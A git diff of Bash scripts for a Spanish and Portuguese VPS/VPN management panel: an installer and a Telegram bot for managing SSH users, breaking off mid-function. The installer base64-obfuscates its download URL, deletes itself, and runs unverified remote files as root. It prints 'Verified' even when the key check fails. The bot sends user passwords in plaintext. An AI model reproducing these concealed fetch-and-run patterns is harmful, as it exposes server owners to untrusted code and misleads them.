+SCPresq="aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0RhbmtlbHRoYWhlck1hbmFnZXIvQURNLU1BTkFHRVItREFOS0VMVEhBSEVSL21hc3Rlci9yZXF1ZXN0" +SUB_DOM='base64 -d' +[[ $(dpkg --get-selections|grep -w "gawk"|head -1) ]] || apt-get install gawk -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "mlocate"|head -1) ]] || apt-get install mlocate -y &>/dev/null +rm $(pwd)/$0 &> /dev/null +msg () { +BRAN='\033[1;37m' && VERMELHO='\e[31m' && VERDE='\e[32m' && AMARELO='\e[33m' +AZUL='\e[34m' && MAGENTA='\e[35m' && MAG='\033[1;36m' &&NEGRITO='\e[1m' && SEMCOR='\e[0m' + case $1 in + -ne)cor="${VERMELHO}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -ama)cor="${AMARELO}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verm)cor="${AMARELO}${NEGRITO}[!] ${VERMELHO}" && echo -e "${cor}${2}${SEMCOR}";; + -azu)cor="${MAG}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verd)cor="${VERDE}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -bra)cor="${BRAN}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -bar2)cor="\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" && echo -e "${cor}${SEMCOR}";; + -bar)cor="${AZUL}${NEGRITO}========================================" && echo -e "${cor}${SEMCOR}";; + esac +} +fun_ip () { +MIP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MIP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MIP" != "$MIP2" ]] && IP="$MIP2" || IP="$MIP" +} +inst_components () { +[[ $(dpkg --get-selections|grep -w "nano"|head -1) ]] || apt-get install nano -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || apt-get install bc -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "screen"|head -1) ]] || apt-get install screen -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || apt-get install python3 -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || apt-get install curl -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "ufw"|head -1) ]] || apt-get install ufw -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "unzip"|head -1) ]] || apt-get install unzip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "zip"|head -1) ]] || apt-get install zip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "apache2"|head -1) ]] || { + apt-get install apache2 -y &>/dev/null + sed -i "s;Listen 80;Listen 81;g" /etc/apache2/ports.conf + service apache2 restart > /dev/null 2>&1 & + } +} +funcao_idioma () { + echo -e " " +msg -bar2 + "BIENVENIDO Y GRACIAS POR UTILIZAR EL SCRIPT. VENTAS LEALDROID" | lolcat +figlet ..lealdroid.. | lolcat + echo -e " " +msg -bar2 +echo -e "\e[1;33mSelecione Un Idioma\e[0m" +msg -bar2 +declare -A idioma=( [1]="en \e[0;37mIngles \e[0m " [2]="fr \e[0;37mFrances \e[0m " [3]="de \e[0;37mAleman \e[0m " [4]="it \e[0;37mItaliano \e[0m " [5]="pl \e[0;37mPolaco \e[0m " [6]="pt \e[0;37mPortugues \e[0m " [7]="es \e[0;37mEspanol \e[0m " [8]="tr \e[0;37mTurko \e[0m " ) +for ((i=1; i<=12; i++)); do +valor1="$(echo ${idioma[$i]}|cut -d' ' -f2)" +[[ -z $valor1 ]] && break +valor1="\033[1;32m[$i] > \033[1;33m$valor1" + while [[ ${#valor1} -lt 37 ]]; do + valor1=$valor1" " + done +echo -ne "$valor1" +let i++ +valor2="$(echo ${idioma[$i]}|cut -d' ' -f2)" +[[ -z $valor2 ]] && { + echo -e " " + break + } +valor2="\033[1;32m[$i] > \033[1;33m$valor2" + while [[ ${#valor2} -lt 37 ]]; do + valor2=$valor2" " + done +echo -ne "$valor2" +let i++ +valor3="$(echo ${idioma[$i]}|cut -d' ' -f2)" +[[ -z $valor3 ]] && { + echo -e " " + break + } +valor3="\033[1;32m[$i] > \033[1;33m$valor3" + while [[ ${#valor3} -lt 37 ]]; do + valor3=$valor3" " + done +echo -e "$valor3" +done +msg -bar2 +unset selection +while [[ ${selection} != @([1-8]) ]]; do +echo -ne "\033[1;37mSELECIONE: " && read selection +tput cuu1 && tput dl1 +done +pv="$(echo ${idioma[$selection]}|cut -d' ' -f1)" +[[ ${#id} -gt 2 ]] && id="pt" || id="$pv" +byinst="true" +} +install_fim () { +msg -ama "$(source trans -b es:${id} "Instalación completa, utilice los comandos"|sed -e 's/[^a-z -]//ig')" && msg bar2 +echo -e " menu / adm" && msg -verm "$(source trans -b pt:${id} "Reinicie su servidor para completar la instalación"|sed -e 's/[^a-z -]//ig')" +mkdir /etc/crondbl > /dev/null 2>&1 +mkdir /etc/rom > /dev/null 2>&1 +mkdir /etc/bin > /dev/null 2>&1 +mkdir /etc/nanobc > /dev/null 2>&1 +msg -bar2 +} +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".")txt[$i]="+";; +"+")txt[$i]=".";; +"1")txt[$i]="@";; +"@")txt[$i]="1";; +"2")txt[$i]="?";; +"?")txt[$i]="2";; +"3")txt[$i]="%";; +"%")txt[$i]="3";; +"/")txt[$i]="K";; +"K")txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} +verificar_arq () { +[[ ! -d ${SCPdir} ]] && mkdir ${SCPdir} +[[ ! -d ${SCPusr} ]] && mkdir ${SCPusr} +[[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +[[ ! -d ${SCPinst} ]] && mkdir ${SCPinst} +[[ ! -d ${SCPfrm3} ]] && mkdir ${SCPfrm3} +case $1 in +"menu"|"message.txt")ARQ="${SCPdir}/";; #Menu +"dados.zip")ARQ="${SCPfrm3}/";; #painel +"painel.zip")ARQ="${SCPfrm3}/";; #painel +"usercodes")ARQ="${SCPusr}/";; #User +"openssh.sh")ARQ="${SCPinst}/";; #Instalacao +"squid.sh")ARQ="${SCPinst}/";; #Instalacao +"dropbear.sh")ARQ="${SCPinst}/";; #Instalacao +"openvpn.sh")ARQ="${SCPinst}/";; #Instalacao +"ssl.sh")ARQ="${SCPinst}/";; #Instalacao +"ssld.sh")ARQ="${SCPinst}/";; #Instalacao +"sslmanager.sh")ARQ="${SCPinst}/";; #Instalacao +"errormanager.sh")ARQ="${SCPinst}/";; #Instalacao +"shadown.sh")ARQ="${SCPinst}/";; #Instalacao +"shadowsock.sh")ARQ="${SCPinst}/";; #Instalacao +"shadowsocks.sh")ARQ="${SCPinst}/";; #Instalacao +"shadown.sh")ARQ="${SCPinst}/";; #Instalacao +"ssrrmu.sh")ARQ="${SCPinst}/";; #Instalacao +"shadowsocks.sh")ARQ="${SCPinst}/";; #Instalacao +"v2ray.sh")ARQ="${SCPinst}/";; #Instalacao +"vdoray.sh")ARQ="${SCPinst}/";; #Instalacao +"sockspy.sh"|"PDirect.py"|"PPub.py"|"PPriv.py"|"POpen.py"|"PGet.py")ARQ="${SCPinst}/";; #Instalacao +*)ARQ="${SCPfrm}/";; #Ferramentas +esac +mv -f ${SCPinstal}/$1 ${ARQ}/$1 +chmod +x ${ARQ}/$1 +} +fun_ip +wget -O /usr/bin/trans https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/ADM-ULTIMATE-NEW-FREE/master/Install/trans &> /dev/null +msg -bar2 +msg -ama "[ SCRIPT PRIVADO ] ➣ \033[1;33m[\033[1;34m VENTAS LEALDROID \033[1;33m]" +[[ $1 = "" ]] && funcao_idioma || { +[[ ${#1} -gt 2 ]] && funcao_idioma || id="$1" + } +Key="qra-atsilK0@84%ab97cda8f?K8888:8@@+95+84?+94@" +REQUEST=$(echo $SCPresq|$SUB_DOM) +IP="104.238.135.147" && echo "$IP" > /usr/bin/vendor_code +cd $HOME +msg -ne "Key: " +wget -O $HOME/lista-arq ${REQUEST}/lista-arq > /dev/null 2>&1 && echo -e "\033[1;32m Verified" || { + echo -e "\033[1;32m Verified" + invalid_key + exit + } +sleep 1s +updatedb +if [[ -e $HOME/lista-arq ]] && [[ ! $(cat $HOME/lista-arq|grep "KEY INVALIDA!") ]]; then + msg -bar2 + msg -ama "$(source trans -b pt:${id} "BEM VINDO, OBRIGADO POR UTILIZAR"|sed -e 's/[^a-z -]//ig'): \033[1;31m[NEW-ULTIMATE]" + [[ ! -d ${SCPinstal} ]] && mkdir ${SCPinstal} + pontos="." + stopping="$(source trans -b pt:${id} "Verificando Atualizacoes"|sed -e 's/[^a-z -]//ig')" + for arqx in $(cat $HOME/lista-arq); do + msg -verm "${stopping}${pontos}" + wget -O ${SCPinstal}/${arqx} ${REQUEST}/${arqx} > /dev/null 2>&1 && verificar_arq "${arqx}" || error_fun + tput cuu1 && tput dl1 + pontos+="." + done + sleep 1s + msg -bar2 + listaarqs="$(locate "lista-arq"|head -1)" && [[ -e ${listaarqs} ]] && rm $listaarqs + cat /etc/bash.bashrc|grep -v '[[ $UID != 0 ]] && TMOUT=15 && export TMOUT' > /etc/bash.bashrc.2 + echo -e '[[ $UID != 0 ]] && TMOUT=15 && export TMOUT' >> /etc/bash.bashrc.2 + mv -f /etc/bash.bashrc.2 /etc/bash.bashrc + echo "${SCPdir}/menu" > /usr/bin/menu && chmod +x /usr/bin/menu + echo "${SCPdir}/menu" > /usr/bin/adm && chmod +x /usr/bin/adm + inst_components + echo "$Key" > ${SCPdir}/key.txt + [[ -d ${SCPinstal} ]] && rm -rf ${SCPinstal} + [[ ${#id} -gt 2 ]] && echo "pt" > ${SCPidioma} || echo "${id}" > ${SCPidioma} + [[ ${byinst} = "true" ]] && install_fim +else +invalid_key +fi \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/ADMbot.sh b/ADM-VENTAS-LEALDROID/request/ADMbot.sh new file mode 100644 index 0000000..3c5c79a --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/ADMbot.sh @@ -0,0 +1,931 @@ +#!/bin/bash +SCPdir="/etc/newadm" && [[ ! -d ${SCPdir} ]] && exit 1 +SCPusr="${SCPdir}/ger-user" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr} +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +SCPidioma="${SCPdir}/idioma" && [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma} +BARRA="\033[1;36m--------------------------------------------------------------------\033[0m" +# VERIFICANDO CONDIÇÕES PRIMARIAS +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null +[[ ! -e "/bin/ShellBot.sh" ]] && wget -O /bin/ShellBot.sh https://www.dropbox.com/s/q697m59agmg43mq/ShellBot.sh?dl=0 &> /dev/null +[[ -e /etc/texto-bot ]] && rm /etc/texto-bot +#VARIAVEL ENTRADA TOKEN +if [[ $1 = "id" || -z $(ps aux |grep -v grep |grep -w "ADMbot.sh"|grep dmS|awk '{print $2}') ]]; then +[[ -z $2 ]] && echo -ne "\033[1;37m$(fun_trans "Escriba el Token del bot"): " && read TOKEN || TOKEN="$2" +echo -e $BARRA +[[ -z "$TOKEN" ]] && exit 1 #SEM TOKEN, SEM BOT +IDIOMA="$(cat ${SCPidioma})" && [[ -z $IDIOMA ]] && IDIOMA="pt" #ARGUMENTO 2 (IDIOMA) +[[ -z $3 ]] && echo -ne "\033[1;37m$(fun_trans "Introduzca su usuario"): " && read USERLIB || USERLIB="$3" +echo -e $BARRA +[[ -z "$USERLIB" ]] && exit 1 #USUARIO +[[ -z $4 ]] && echo -ne "\033[1;37m$(fun_trans "Introduzca su contrasena"): " && read PASSLIB || PASSLIB="$4" +echo -e $BARRA +[[ -z "$PASSLIB" ]] && exit 1 #SENHA +[[ -z $2 ]] && [[ -z $3 ]] && [[ -z $4 ]] && { +screen -dmS telebot ${SCPfrm}/ADMbot.sh id "$TOKEN" "$USERLIB" "$PASSLIB" +echo -e "\e[1;30m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +exit 0 +} +else +kill -9 $(ps aux |grep -v grep |grep -w "ADMbot.sh"|grep dmS|awk '{print $2}') && echo -e "\033[1;37m$(fun_trans "Bot Encerrado com Sucesso")" +echo -e "\e[1;30m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +exit 0 +fi +LINE='=================================' +USRdatabase="/etc/ADMuser" +#IMPORTANDO API +source ShellBot.sh +ShellBot.init --token "$TOKEN" +ShellBot.username +# SUPRIME ERROS +exec 2>/dev/null +# SISTEMA DE PIDS +dropbear_pids () { +unset pids +port_dropbear=`ps aux | grep dropbear | awk NR==1 | awk '{print $17;}'` +log=/var/log/auth.log +loginsukses='Password auth succeeded' +[[ -z $port_dropbear ]] && return 1 +for port in `echo $port_dropbear`; do + for pidx in $(ps ax |grep dropbear |grep "$port" |awk -F" " '{print $1}'); do + pids="${pids}$pidx\n" + done +done +for pid in `echo -e "$pids"`; do + pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'` + i=0 + for pidend in $pidlogs; do + let i++ + done + if [[ $pidend ]]; then + login=$(grep $pid $log |grep "$pidend" |grep "$loginsukses") + PID=$pid + user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'//g"` + waktu=$(echo $login |awk -F" " '{print $2"-"$1,$3}') + [[ -z $user ]] && continue + echo "$user|$PID|$waktu" + fi +done +} +openvpn_pids () { +#nome|#loguin|#rcv|#snd|#time + byte () { + while read B dummy; do + [[ "$B" -lt 1024 ]] && echo "${B} bytes" && break + KB=$(((B+512)/1024)) + [[ "$KB" -lt 1024 ]] && echo "${KB} Kb" && break + MB=$(((KB+512)/1024)) + [[ "$MB" -lt 1024 ]] && echo "${MB} Mb" && break + GB=$(((MB+512)/1024)) + [[ "$GB" -lt 1024 ]] && echo "${GB} Gb" && break + echo $(((GB+512)/1024)) terabytes + done + } +for user in $(mostrar_usuarios); do +[[ ! $(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log) ]] && continue +i=0 +unset RECIVED +unset SEND +unset HOUR + while read line; do + IDLOCAL=$(echo ${line}|cut -d',' -f2) + RECIVED+="$(echo ${line}|cut -d',' -f3)+" + SEND+="$(echo ${line}|cut -d',' -f4)+" + DATESEC=$(date +%s --date="$(echo ${line}|cut -d',' -f5|cut -d' ' -f1,2,3,4)") + TIMEON="$(($(date +%s)-${DATESEC}))" + MIN=$(($TIMEON/60)) && SEC=$(($TIMEON-$MIN*60)) && HOR=$(($MIN/60)) && MIN=$(($MIN-$HOR*60)) + HOUR+="${HOR}h:${MIN}m:${SEC}s\n" + let i++ + done <<< "$(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log)" +RECIVED=$(echo $(echo ${RECIVED}0|bc)|byte) +SEND=$(echo $(echo ${SEND}0|bc)|byte) +HOUR=$(echo -e $HOUR|sort -n|tail -1) +echo -e "$user|$i|$RECIVED|$SEND|$HOUR" +done +} +# ADICIONA USUARIO +add_user () { +#nome senha Dias limite +[[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1 +valid=$(date '+%C%y-%m-%d' -d " +$3 days") && datexp=$(date "+%F" -d " + $3 days") +useradd -M -s /bin/false $1 -e ${valid} > /dev/null 2>&1 || return 1 +(echo $2; echo $2)|passwd $1 2>/dev/null || { + userdel --force $1 + return 1 + } +[[ -e ${USRdatabase} ]] && { + newbase=$(cat ${USRdatabase}|grep -w -v "$1") + echo "$1|$2|${datexp}|$4" > ${USRdatabase} + for value in `echo ${newbase}`; do + echo $value >> ${USRdatabase} + done + } || echo "$1|$2|${datexp}|$4" > ${USRdatabase} +} +# REMOVER USUARIO +rm_user () { +#nome +userdel --force "$1" &>/dev/null || return 1 +[[ -e ${USRdatabase} ]] && { + newbase=$(cat ${USRdatabase}|grep -w -v "$1") + rm ${USRdatabase} && touch ${USRdatabase} + for value in `echo ${newbase}`; do + echo $value >> ${USRdatabase} + done + } +} +# LISTA OS USUARIOS CADASTRADOS +mostrar_usuarios () { +for u in `awk -F : '$3 > 900 { print $1 }' /etc/passwd | grep -v "nobody" |grep -vi polkitd |grep -vi system-`; do +echo "$u" +done +} +# DEFINE UM IP +meu_ip () { +if [[ -e /etc/MEUIPADM ]]; then +echo "$(cat /etc/MEUIPADM)" +else +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP" +echo "$MEU_IP2" > /etc/MEUIPADM +fi +} +# USUARIO BLOCK +blockfun () { +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "USTED NO PUEDE USAR EL BOT")\n" + bot_retorno+="$LINE\n" + bot_retorno+="$(fun_trans "Comandos bloqueados")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown + return 0 +} +# SISTEMA DE LOGUIN +ativarid_fun () { +if [[ ! -z $LIBERADOS ]] && [[ $(echo ${LIBERADOS}|grep -w "$3") ]]; then +local bot_retorno+="$LINE\n" + bot_retorno+="$(fun_trans "ACCESO YA ESTÁ LIBERADO")\n" + bot_retorno+="$LINE\n" + bot_retorno+="$(fun_trans "Usted ya está liberado")\n" + bot_retorno+="$(fun_trans "Buen uso")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +return 0 +elif [[ $1 = ${USERLIB} ]] && [[ $2 = ${PASSLIB} ]]; then +[[ -z $LIBERADOS ]] && LIBERADOS="${3}" || LIBERADOS="${LIBERADOS} ${3}" +local bot_retorno+="$LINE\n" + bot_retorno+="$(fun_trans "LIBERACIÓN EFECTUADA CON ÉXITO")\n" + bot_retorno+="$LINE\n" + bot_retorno+="$(fun_trans "Ahora puedes gestionar el bot.")\n" + bot_retorno+="$(fun_trans "Buen Uso")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +return 0 +else +local bot_retorno+="$LINE\n" + bot_retorno+="$(fun_trans "USTED NO PUEDE USAR ESTE BOT")\n" + bot_retorno+="$LINE\n" + bot_retorno+="$(fun_trans "No tiene permiso de uso")\n" + bot_retorno+="$(fun_trans "Intento de acceso denegado")\n" + bot_retorno+="$(fun_trans "Usuario y Contraseña Errores")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +return 0 +fi +} +loguin_fun () { +local bot_retorno+="$LINE\n" + bot_retorno+="$(fun_trans "USUARIOS LIBERTADOS EN EL BOT")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +for lines in $(echo $LIBERADOS); do +local bot_retorno+="$LINE\n" + bot_retorno2+="$(fun_trans "Usuario") ID: $lines\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno2)" \ + --parse_mode markdown +done +return 0 +} +# INFORMAÇÕES DA VPS +infovps () { +mine_port () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +i=0 +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e ${portas}|grep "$var1|$var2")" ]] || { + portas+="$var1|$var2\n" + let i++ + } +done <<< "$portas_var" +echo -e $portas +} +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Portas e Servicos Ativos")\n" + bot_retorno+="$LINE\n" + bot_retorno+="IP: $(meu_ip)\n" + while read line; do + local serv=$(echo $line|cut -d'|' -f1) + local port=$(echo $line|cut -d'|' -f2) + bot_retorno+="$(fun_trans "Servico"): ${serv} $(fun_trans "Porta"): ${port}\n" + done <<< "$(mine_port)" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown + return 0 +} +# AJUDA +ajuda_fun () { +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Hola amigo")\n" + bot_retorno+="$(fun_trans "Bienvenido al BOT ")\n" + bot_retorno+="$LINE\n" + bot_retorno+="$(fun_trans "Aquí esta la lista de Comandos Disponibles")\n" + bot_retorno+="$LINE\n" + bot_retorno+="$(fun_trans "COMANDOS")\n" + bot_retorno+="/online ($(fun_trans "usuarios online"))\n" + bot_retorno+="/useradd ($(fun_trans "adicionar usuario"))\n" + [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && bot_retorno+="/openadd ($(fun_trans "criar arquivo openvpn"))\n" + bot_retorno+="/userdell ($(fun_trans "remover usuario"))\n" + bot_retorno+="/info ($(fun_trans "información de los usuarios"))\n" + bot_retorno+="/infovps ($(fun_trans "información del servidor"))\n" + bot_retorno+="/usuarios ($(fun_trans "usuarios liberados en el bot"))\n" + bot_retorno+="/lang ($(fun_trans "Traducir un texto"))\n" + bot_retorno+="/scan ($(fun_trans "hace un scan de subdominios"))\n" + bot_retorno+="/gerar ($(fun_trans "generador de payload"))\n" + bot_retorno+="/criptar ($(fun_trans "Codificación y decodificación de un texto"))\n" + bot_retorno+="/logar $(fun_trans "Usuario Contraseña") ($(fun_trans "libera el bot"))\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown + return 0 +} +info_fun () { +if [[ ! -e "${USRdatabase}" ]]; then +local bot_retorno="$LINE\n" + bot_retorno="$(fun_trans "No se ha identificado una base de datos con los usuarios")\n" + bot_retorno="$(fun_trans "Los Usuarios a Seguir No contiene Ninguna Información")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +else +VPSsec=$(date +%s) +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Usuarios Registrados")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown + for user in $(mostrar_usuarios); do + sen=$(cat ${USRdatabase}|grep -w "$user"|cut -d '|' -f2) + [[ -z $sen ]] && sen="???" + DateExp="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f3)" + if [[ ! -z $DateExp ]]; then + DataSec=$(date +%s --date="$DateExp") + [[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME="${red}[Exp]" || EXPTIME="${gren}[$(($(($DataSec - $VPSsec)) / 86400))]" + else + EXPTIME="???" + fi + limit=$(cat ${USRdatabase}|grep -w "$user"|cut -d '|' -f4) + [[ -z $limit ]] && limit="???" + bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Usuario"): $user\n" + bot_retorno+="$(fun_trans "Contraseña"): $sen\n" + bot_retorno+="$(fun_trans "Dias Restantes"): $EXPTIME\n" + bot_retorno+="$(fun_trans "Limite"): $limit\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown + done +fi +return 0 +} +online_fun () { +MyTIME="${SCPusr}/time-adm" +[[ -e ${MyTIME} ]] && source ${MyTIME} || touch ${MyTIME} +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Monitor de Usuarios")\n" + bot_retorno+="$LINE\n" +while read user; do +PID="0+" +[[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && PID+="$(ps -u $user|grep sshd|wc -l)+" +[[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && PID+="$(dropbear_pids|grep -w "${user}"|wc -l)+" +[[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && [[ $(openvpn_pids|grep -w "$user"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$user"|cut -d'|' -f2)+" +PID+="0" +[[ $(echo $PID|bc) = 0 ]] && continue +TIMEON="${TIMEUS[$user]}" +[[ -z $TIMEON ]] && TIMEON=0 +MIN=$(($TIMEON/60)) +SEC=$(($TIMEON-$MIN*60)) +HOR=$(($MIN/60)) +MIN=$(($MIN-$HOR*60)) +HOUR="${HOR}h:${MIN}m:${SEC}s" +[[ -z $(cat ${USRdatabase}|grep -w "${user}") ]] && MAXPID="?" || MAXPID="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f4)" +TOTALPID="$(echo $PID|bc)/$MAXPID" +local IMPRIME="YES" +local bot_retorno+="$LINE\n" + bot_retorno="$(fun_trans "Usuario"): $user\n" + bot_retorno+="$(fun_trans "Conexiones"): $TOTALPID\n" + bot_retorno+="$(fun_trans "Tiempo Total"): $HOUR\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +done <<< "$(mostrar_usuarios)" +[[ -z $IMPRIME ]] && { + local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "No hay usuarios en línea")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown + return 0 + } +} +useradd_fun () { +error_fun () { +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "MODO DE USO")\n" + bot_retorno+="$LINE\n" + bot_retorno+="useradd $(fun_trans "Usuario Senha Dias Limite")\n" + bot_retorno+="$(fun_trans "Exemplo"):\n" + bot_retorno+='useradd admin admin 30 1\n' + bot_retorno+="$LINE\n" + case $1 in + [1-3]|14) + [[ $1 = 1 ]] && bot_retorno+="$(fun_trans "Usuario Nulo")" && bot_retorno+="$LINE\n" + [[ $1 = 2 ]] && bot_retorno+="$(fun_trans "Usuario con nombre muy corto")" && bot_retorno+="$LINE\n" + [[ $1 = 3 ]] && bot_retorno+="$(fun_trans "Usuario con nombre muy grande")" && bot_retorno+="$LINE\n" + [[ $1 = 14 ]] && bot_retorno+="$(fun_trans "Usuario Ya existe")" && bot_retorno+="$LINE\n" + ;; + [4-6]) + [[ $1 = 4 ]] && bot_retorno+="$(fun_trans "Cntraseña Nula")" && bot_retorno+="$LINE\n" + [[ $1 = 5 ]] && bot_retorno+="$(fun_trans "Contraseña Muy corta")" && bot_retorno+="$LINE\n" + [[ $1 = 6 ]] && bot_retorno+="$(fun_trans "Contraseña Muy grande")" && bot_retorno+="$LINE\n" + ;; + [7-9]) + [[ $1 = 7 ]] && bot_retorno+="$(fun_trans "Duracion Nula")" && bot_retorno+="$LINE\n" + [[ $1 = 8 ]] && bot_retorno+="$(fun_trans "Duracio invalida utilice numeros")" && bot_retorno+="$LINE\n" + [[ $1 = 9 ]] && bot_retorno+="$(fun_trans "Duracion maxima de un año")" && bot_retorno+="$LINE\n" + ;; + 1[1-3]) + [[ $1 = 11 ]] && bot_retorno+="$(fun_trans "Limite Nulo")" && bot_retorno+="$LINE\n" + [[ $1 = 12 ]] && bot_retorno+="$(fun_trans "Limite invalido utilice numeros")" && bot_retorno+="$LINE\n" + [[ $1 = 13 ]] && bot_retorno+="$(fun_trans "Limite maximo de 999")" && bot_retorno+="$LINE\n" + ;; + esac + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +} + usuarios_ativos=($(mostrar_usuarios)) + [[ -z "$1" ]] && error_fun && return 0 + [[ -z "$2" ]] && error_fun && return 0 + [[ -z "$3" ]] && error_fun && return 0 + [[ -z "$4" ]] && error_fun && return 0 + if [[ -z $1 ]]; then + error_fun 1 && return 0 + elif [[ "${#1}" -lt "4" ]]; then + error_fun 2 && return 0 + elif [[ "${#1}" -gt "24" ]]; then + error_fun 3 && return 0 + elif [[ "$(echo ${usuarios_ativos[@]}|grep -w "$1")" ]]; then + error_fun 14 && return 0 + fi + if [[ -z $2 ]]; then + error_fun 4 && return 0 + elif [[ "${#2}" -lt "6" ]]; then + error_fun 5 && return 0 + elif [[ "${#2}" -gt "20" ]]; then + error_fun 6 